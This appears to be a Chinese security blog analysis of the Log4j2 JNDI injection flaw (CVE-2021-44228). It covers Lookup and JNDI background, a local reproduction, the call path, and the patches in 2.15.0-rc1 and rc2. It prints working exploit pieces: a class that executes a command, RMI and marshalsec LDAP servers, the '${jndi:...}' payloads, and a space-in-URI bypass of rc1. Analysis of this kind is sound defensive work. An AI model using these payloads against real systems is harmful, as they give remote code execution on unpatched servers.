释放双眼，带上耳机，听听看~！

前言

最近Log4j2的JNDI注入漏洞（CVE-2021-44228）可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库，几乎没人能够幸免。本篇文章即对该漏洞进行复现和分析其形成原理。

以下涉及的代码，均在mac OS 10.14.5，JDK1.8.0_91环境下成功运行。

一、前置知识

1.1 Log4j2

Log4j2是一个Java日志组件，被各类Java框架广泛地使用。它的前身是Log4j，Log4j2重新构建和设计了框架，可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。

因为存在前身Log4j，而且都是Apache下的项目，不管是jar包名称还是package名称，看起来都很相似，导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法：

Log4j2分为2个jar包，一个是接口log4j-api-${版本号}.jar，一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar。
Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j。

1.2 Log4j2 Lookup

Log4j2的Lookup主要功能是通过引用一些变量，往日志中添加动态的值。这些变量可以是外部环境变量，也可以是MDC中的变量，还可以是日志上下文数据等。

下面是一个简单的Java Lookup例子和输出：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j2Lookup {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

    public static void main(String[] args) {
        ThreadContext.put("userId", "test");
        LOGGER.error("userId: ${ctx:userId}");
    }
}

10:21:19.618 [main] ERROR Log4j2RCEPoc - userId: test

从上面的例子可以看到，通过在日志字符串中加入”${ctx:userId}”，Log4j2在输出日志时，会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似”${type:var}”，即可以实现对变量var的引用。type可以是如下值：

ctx：允许程序将数据存储在 Log4j ThreadContext Map 中，然后在日志输出过程中，查找其中的值。
env：允许系统在全局文件（如 /etc/profile）或应用程序的启动脚本中配置环境变量，然后在日志输出过程中，查找这些变量。例如：${env:USER}。
java：允许查找Java环境配置信息。例如：${java:version}。
jndi：允许通过 JNDI 检索变量。
……

其中和本次漏洞相关的便是jndi，例如：${jndi:rmi//127.0.0.1:1099/a}，表示通过JNDI Lookup功能，获取rmi//127.0.0.1:1099/a上的变量内容。

1.3 JNDI

JNDI（Java Naming and Directory Interface，Java命名和目录接口），是Java提供的一个目录服务应用程序接口（API），它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象。

例如使用数据库，需要在各个应用中配置各种数据库相关的参数后使用。通过JNDI，可以将数据库相关的配置在一个支持JNDI服务的容器（通常Tomat等Web容器均支持）中统一完成，并暴露一个简洁的名称，该名称背后绑定着一个DataSource对象。各个应用只需要通过该名称和JNDI接口，获取该名称背后的DataSource对象。当然，现在SpringBoot单体发布模式，极少会使用这种方式了。

再举个更简单的例子，这有点类似DNS提供域名到IP地址的解析服务。域名简洁易懂，便于普通用户使用，背后真正对应的是一个复杂难记的IP，甚至还可能是多个IP。DNS即JNDI服务，域名即可用于绑定和查找的名称，IP即该名称绑定的真正对象。用现代可以类比的技术来说，JNDI就是一个对象注册中心。

JNDI由三部分组成：JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口，JNDI SPI是具体实现，应用程序需要指定具体实现的SPI。下图是官方对JNDI介绍的架构图：

下面是一个简单的例子：

public interface Hello extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
}

import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    public HelloImpl() throws java.rmi.RemoteException {
        super();
    }

    @Override
    public String sayHello(String from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return "sayHello";
    }
}

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class HelloServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        LocateRegistry.createRegistry(1099);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
        InitialContext context = new InitialContext();
        context.bind("java:hello", new HelloImpl());
        context.close();
    }
}

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class HelloClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
        InitialContext context = new InitialContext();
        Hello rmiObject = (Hello) context.lookup("java:hello");
        System.out.println(rmiObject.sayHello("world"));
        context.close();
    }
}

先运行HelloServer，再运行HelloClient，即可看到运行输出的结果：sayHello。

HelloServer将HelloImpl对象绑定到java:hello名称上。HelloClient使用java:hello名称，即可获取HelloImpl对象。

1.4 JNDI注入

由前面的例子可以看到，JNDI服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象，会如何处理？JNDI还支持从指定的远程服务器上下载class文件，加载到本地JVM中，并通过适当的方式创建对象。

“class文件加载到本地JVM中，并通过适当的方式创建对象”，在这个过程中，static代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI注入正是基于这个思路实现的。

本篇文章主要分析Log4j2的JNDI注入产生原因，并不会对JNDI注入自身太过关注，网上也有大量分析的文章可供参考，这里就不再详述了。

二、漏洞复现

以下复现使用Log4j2-2.14.1版本，maven的引用依赖参考如下：

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>

编写漏洞利用代码Exploit并编译生成Exploit.class。代码如下：

public class Exploit {
    static {
        String cmd = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        final Process process;
        try {
            process = Runtime.getRuntime().exec(cmd);
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

本地执行python3 -m http.server 8081，启动web服务器，监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录（根目录即为执行python3 -m http.server 8081命令的工作目录）。

编写RMI服务端代码RMIServer，并编译运行。代码如下：

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/");
        ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
        registry.bind("exp", exploitWrapper);
    }
}

编写漏洞poc代码，并编译运行。代码和运行结果如下：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RCEPoc {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
    }
}

三、漏洞原理

由于是JNDI注入，因此可以通过在InitialContext.lookup(String name)方法上设置端点，观察整个漏洞触发的调用堆栈，来了解原理。调用堆栈如下：

整个调用堆栈较深，这里把几个关键点提取整理如下：

LOGGER.error
  ......
    MessagePatternConverter.format
      ....
        StrSubstitutor.resolveVariable
          Interpolator.lookup
            JndiLookup.lookup
              JndiManager.lookup
                InitialContext.lookup

3.1 MessagePatternConverter.format()

poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法，该方法对日志内容进行解析和格式化，并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时，调用StrSubstitutor进行进一步解析。

3.2 StrSubstitutor.resolveVariable()

StrSubstitutor将${和}之间的内容提取出来，调用并传递给Interpolator.lookup()方法，实现Lookup功能。

3.3 Interpolator.lookup()

Interpolator实际是一个实现Lookup功能的代理类，该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对上一步提取出的内容解析后，从strLookupMap获得Lookup功能实现类，并调用实现类的lookup()方法。

例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能实现类为JndiLookup，并调用JndiLookup.lookup()方法。

3.4 JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法，获取JNDI对象后，调用该对象上的toString()方法，最终返回该字符串。

3.5 JndiManager.lookup()

JndiManager.lookup()较为简单，直接委托给InitialContext.lookup()方法。这里单独提到该方法，是因为后续几个补丁中较为重要的变更即为该方法。

至此，后续即可以按照常规的JNDI注入路径进行分析。

四、补丁分析

4.1 2.15.0-rc1

通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异，可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接：

https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3

除去一些测试代码和辅助代码，该commit最主要内容是在3.5章节中提到的 JndiManager.lookup()方法增加了几种限制，分别是allowedHosts、allowedClasses、allowedProtocols。

各个限制的内容分别如下：

可以看到，rc1补丁通过对JNDI Lookup增加白名单的方式，限制默认可以访问的主机为本地IP，限制默认支持的协议类型为java、ldap、ldaps，限制LDAP协议默认可以使用的Java类型为少数基础类型，从而大大减少了默认的攻击面。

4.2 2.15.0-rc2

4.2.1 rc1中存在的问题

在rc1还未正式成为release版本之前，Log4j团队又在两天不到的时间里发布了rc2版本，说明rc1依然存在着一些问题。我们来看下rc1里主要修复的JndiManager.lookup()方法的整体逻辑结构：

    public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    ......
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        ......
                        return null;
                    }
                    ......
                    if (!allowedClasses.contains(className)) {
                        ......
                        return null;
                    }
                    ......
                }
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }

从上面的代码结构中可以总结如下的逻辑：

对传入的name参数进行4.1章节提到的各类检查。如果检查不通过，则直接返回null。
如果产生URISyntaxException，则对该异常忽略，继续执行this.context.lookup(name)。
如果未产生URISyntaxException，则执行this.context.lookup(name)。

我们重点关注catch代码块，rc1默认不对URISyntaxException异常做任何处理，继续执行后续逻辑，即this.context.lookup(name)。

再看下try代码块中可能产生URISyntaxException的地方。很不幸，try代码块的第一个语句即可能产生该异常：URI uri = new URI(name);。

试想一下，如果能够构造某个特殊的URI，导致URI uri = new URI(name);语句解析URI异常，抛出URISyntaxException，但又能被this.context.lookup(name)正确处理，不就可以绕过了吗？

4.2.2 绕过rc1

由于rc1未在maven中央仓库上，因此需要自行下载代码并构建：

到Log4j2的GitHub官方仓库下载rc1：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录，执行mvn clean install -DskipTests。最终会在本地maven仓库上生成rc1的jar包，版本为2.15.0，后续测试使用该jar包。

由于rc1默认未开启Lookup功能，需要先开启，可以通过在配置文件的%msg中添加{lookup}进行开启。在当前类路径下添加log4j2.xml，内容参考如下：

<Configuration>
    <Appenders>
        <Console name="CONSOLE">
            <PatternLayout>
                <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="DEBUG">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>

漏洞利用代码和二、漏洞利用章节中一致，编译生成Exploit.class。

本地执行python3 -m http.server 8081，启动web服务器，监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录（根目录即为执行python3 -m http.server 8081命令的工作目录）。

由于rc1中默认仅支持java、ldap、ldaps这三种协议，就使用LDAP协议吧。自己搭建LDAP服务器比较麻烦，这里直接利用下marshalsec这个库。运行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888，启动LDAP服务。

编写漏洞poc代码，并编译运行。代码和运行结果如下：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RC1Bypass {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:ldap://127.0.0.1:8888/ exp}");
    }
}

可以看到，通过构建一个简单的带空格的异形URI地址（127.0.0.1:8888/ 和exp之间），rc1被绕过了。

4.2.3 rc2的修复方案

通过比较2.15.0-rc1和2.15.0-rc2之间的差异，可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception的commit。该commit的详细内容如下链接：

https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658

该commit主要内容是对rc1中JndiManager.lookup()方法里的catch代码块进行了修改：当URISyntaxException异常被捕获时，直接返回null。从而无法使用上一章节的异形URI地址绕过。

五、思考

本次漏洞就其原理来说，并不复杂，甚至有些简单。rc1中采用较为严格的白名单限制，就应急处理方法上来看，无可厚非。但从历史上发生的各类漏洞修补过程中来看，必定会有各种地方遗漏导致后续不停地打补丁。从软件开发角度讲，与其在上线后不停修复打补丁，不如在开发早期，即设计阶段或者开发阶段，尽量避免这类既有可能产生安全风险的设计。在最新版本的2.16.0，Log4j2团队干脆默认禁用掉了JNDI Lookup功能。

另外，rc1中catch代码对异常的处理方式，在日常开发过程中也是容易犯的问题。安全中有一个原则，叫做“Fail Safely”，意为安全地处理错误。安全地处理错误是安全编程的一个重要方面。在程序设计时，要确保安全控制模块在发生异常时遵循了禁止操作的处理逻辑。例如：一个判断用户验证是否通过的代码，默认应该设定用户验证不通过，仅仅在用户验证通过时才设置为验证通过。这样即使在验证过程中发生了异常，并且该异常无意间被捕获时，任然能确保用户验证不通过。

因为Log4j2框架几乎是一个类似JDK级别的基础类库，即便自身应用程序里完成了升级，但仍有极其庞大的其它框架、中间件，导致升级工作极为困难，甚至在几年内都无法达到一个可接受的水平。目前，绝大部分公司采取在边界防护设备上使用“临时补丁”的方式。同时，大量bypass方法也随之而来，这将是一个漫长的过程。

“临时补丁”意味着无法根除，而底层依赖的升级又极为耗时，那么，如何更好地发现并规避在此期间产生的风险呢？

析策XDR平台

极盾科技的析策XDR平台，通过收集企业内部各类安全日志、流量，基于这些数据进行全局的、跨端的实时关联分析，挖掘其中隐匿的风险，并提供一套可灵活编排的风险处置流程，最大程度上提升了企业的安全感知和处理能力。即便有人利用Log4j2漏洞突破了边界，在造成更大影响之前，通过多端数据的关联分析，即可更早地被析策XDR平台感知到入侵是否已经发生了，进行到了哪个阶段，可以及时阻断处理。平台更详细的介绍见如下链接：

https://www.jidun.cn/product/xice

参考

Log4j2 Lookups： https://logging.apache.org/log4j/2.x/manual/lookups.html
Oracle JNDI官方文档： https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
一篇JNDI注入原理文章： http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/
marshalsec： https://github.com/mbechler/marshalsec
Log4j2 2.14.1和2.15.0-rc1的区别比较： https://github.com/apache/logging-log4j2/compare/rel/2.14.1…log4j-2.15.0-rc1
Log4j2 2.15.0-rc1和rc2的区别比较： https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1…log4j-2.15.0-rc2

Log4j2的JNDI注入漏洞（CVE-2021-44228）原理分析与思考

前言

一、前置知识

1.1 Log4j2

1.2 Log4j2 Lookup

1.3 JNDI

1.4 JNDI注入

二、漏洞复现

三、漏洞原理

3.1 MessagePatternConverter.format()

3.2 StrSubstitutor.resolveVariable()

3.3 Interpolator.lookup()

3.4 JndiLookup.lookup()

3.5 JndiManager.lookup()

四、补丁分析

4.1 2.15.0-rc1

4.2 2.15.0-rc2

4.2.1 rc1中存在的问题

4.2.2 绕过rc1

4.2.3 rc2的修复方案

五、思考

析策XDR平台

参考

安全通告 | 齐安科技关于高危漏洞Apache Log4j2的说明

Token机制相对于Cookie机制的优势

突发！！疑似12306 60w账户+410w联系人数据泄露

走进蒙面黑客的世界(专访杨卿)

【漏洞预警】Oracle WebLogic wls-wsat RCE CVE-2017-10271 & CVE-2017-3506

紫光云招聘安全研发、安全服务岗位

默安科技9月华北招聘专场

360政企安全集团华东安服事业部招聘

前言

一、 前置知识

1.1 Log4j2

1.2 Log4j2 Lookup

1.3 JNDI

1.4 JNDI注入

二、 漏洞复现

三、 漏洞原理

3.1 MessagePatternConverter.format()

3.2 StrSubstitutor.resolveVariable()

3.3 Interpolator.lookup()

3.4 JndiLookup.lookup()

3.5 JndiManager.lookup()

四、 补丁分析

4.1 2.15.0-rc1

4.2 2.15.0-rc2

4.2.1 rc1中存在的问题

4.2.2 绕过rc1

4.2.3 rc2的修复方案

五、思考

析策XDR平台

参考

安全通告 | 齐安科技关于高危漏洞Apache Log4j2的说明

Token机制相对于Cookie机制的优势

一、前置知识

二、漏洞复现

三、漏洞原理

四、补丁分析